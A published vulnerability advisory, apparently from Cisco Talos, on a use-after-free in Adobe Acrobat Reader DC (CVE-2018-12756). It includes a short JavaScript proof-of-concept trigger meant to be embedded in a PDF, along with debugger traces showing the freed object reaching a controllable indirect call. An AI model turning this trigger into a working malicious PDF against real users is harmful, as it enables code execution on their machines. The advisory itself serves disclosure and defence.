CVE-2018-12756
A specific JavaScript code embedded in a PDF file can lead to an object type confusion when opening a PDF document in Adobe Acrobat Reader DC 2018.011.20038. With careful memory manipulation, this can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.
Adobe Acrobat Reader DC 2018.011.20038
6.8 - CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
CWE-416: Use After Free
Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a large user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability. The one method call required to trigger this vulnerability is privileged, and can only be called from trusted functions or from a trusted location.
Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout, and poses an additional attack surface.
While executing the following piece of code, a cache misuse can lead to a dereference of a previously freed object which can cause further memory corruption:
this.spell.languages;
var ret = this.Collab.newWrStreamToCosObj();
var a = ret;
this.Collab.drivers[11].getInitiatorSource({},this);
During a call to getInitiatorSource
an object allocated due to previous call to newWrStreamToCosObj
is freed and reused due to the way Acrobat’s JavaScript engine handles caching. In a debugging session we can see the following:
Breakpoint 1 hit
eax=0015ee6c ebx=00000000 ecx=573f9e10 edx=b4da969e esi=054b3c80 edi=054b3c80
eip=573f9d38 esp=0015eebc ebp=0015eec4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
AcroRd32!CTJPEGWriter::CTJPEGWriter+0x27e27:
573f9d38 e8e15ef7ff call AcroRd32!AcroWinMainSandbox+0x5c9a (5736fc1e)
0:000> u eip-5
AcroRd32!CTJPEGWriter::CTJPEGWriter+0x27e22:
573f9d33 85f6 test esi,esi
573f9d35 7407 je AcroRd32!CTJPEGWriter::CTJPEGWriter+0x27e2d (573f9d3e)
573f9d37 56 push esi
573f9d38 e8e15ef7ff call AcroRd32!AcroWinMainSandbox+0x5c9a (5736fc1e)
573f9d3d 59 pop ecx
573f9d3e 8bc6 mov eax,esi
573f9d40 5e pop esi
573f9d41 5d pop ebp
0:000> dd esi
054b3c80 581ce8e4 00000000 00001000 00000000
054b3c90 00000000 00000042 58253f14 00000000
054b3ca0 00000000 00000002 00000000 00000005
054b3cb0 00000005 00000000 00000000 00000000
054b3cc0 00000000 00000000 00000000 00000000
054b3cd0 00000000 00000000 00001000 00000000
054b3ce0 581ee640 05438548 05438548 00000000
054b3cf0 1ef9b317 8e000000 00720075 003a006e
0:000> !heap -p -a esi
address 054b3c80 found in
_HEAP @ 160000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
054b3c78 000f 0000 [00] 054b3c80 00070 - (busy)
? AcroRd32!PDMediaQuerySetMediaType+1551a4
0:000> be 2
0:000> g
Breakpoint 2 hit
eax=054b3c88 ebx=00000001 ecx=5653f322 edx=045bba00 esi=05725890 edi=054b3c88
eip=57388779 esp=0015ef24 ebp=0015ef28 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
AcroRd32!AcroWinMainSandbox+0x1e7f5:
57388779 8b4810 mov ecx,dword ptr [eax+10h] ds:0023:054b3c98=58253f14
0:000> dd eax
054b3c88 00001000 00000000 00000000 00000042
054b3c98 58253f14 00000000 00000000 00000002
054b3ca8 00000000 00000005 00000005 00000000
054b3cb8 00000000 00000000 00000000 00000000
054b3cc8 00000000 00000000 00000000 00000000
054b3cd8 00001000 00000000 581ee640 05438548
054b3ce8 05438548 00000000 1ef9b317 8e000000
054b3cf8 00720075 003a006e 002f002f 0073006e
0:000> !heap -p -a eax
address 054b3c88 found in
_HEAP @ 160000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
054b3c78 000f 0000 [00] 054b3c80 00070 - (free)
Breakpoint 1 is set on a call that frees the object in question. We can see that the pointer in esi
points to an allocated object of size 0x70
at address 0x054b3c80
. Breakpoint 2 is then enabled and set at the time of first invalid dereference of the object (the first use-after-free). When the second breakpoint is reached, we can see that the object pointed to by eax
is now free, and that it points to the same memory area as esi
at the previous breakpoint. If we examine the code immediately following the second breakpoint, we can see the following:
0:000> u
AcroRd32!AcroWinMainSandbox+0x1e7f5:
57388779 8b4810 mov ecx,dword ptr [eax+10h]
5738877c ff5118 call dword ptr [ecx+18h]
5738877f 59 pop ecx
57388780 5d pop ebp
57388781 c3 ret
Since we know that eax
points to freed memory, with careful memory layout control we could gain control over contents of ecx
which is then used in a call which would lead to arbitrary code execution. The pointer to the object in eax
is retrieved by previously consulting EScript.api
hashcache
methods.
Continuing the execution from the above breakpoint:
0:000> g
(15e4.ccc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=581c03c2 ebx=00000000 ecx=054b3c80 edx=045bba00 esi=054b3c80 edi=054b3c80
eip=8d8dff80 esp=0015eed8 ebp=0015eeec iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206
8d8dff80 ?? ???
0:000> k
# ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 0015eed4 5763abd7 0x8d8dff80
01 0015eeec 573887cf AcroRd32!CTJPEGLibTerminate+0x17a77
02 0015ef1c 5738877f AcroRd32!AcroWinMainSandbox+0x1e84b
03 0015ef28 566e22ae AcroRd32!AcroWinMainSandbox+0x1e7fb
04 0015ef60 6112b40e Annots!PlugInMain+0x1ee3ad
2018-05-08 - Vendor Disclosure
2018-07-10 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.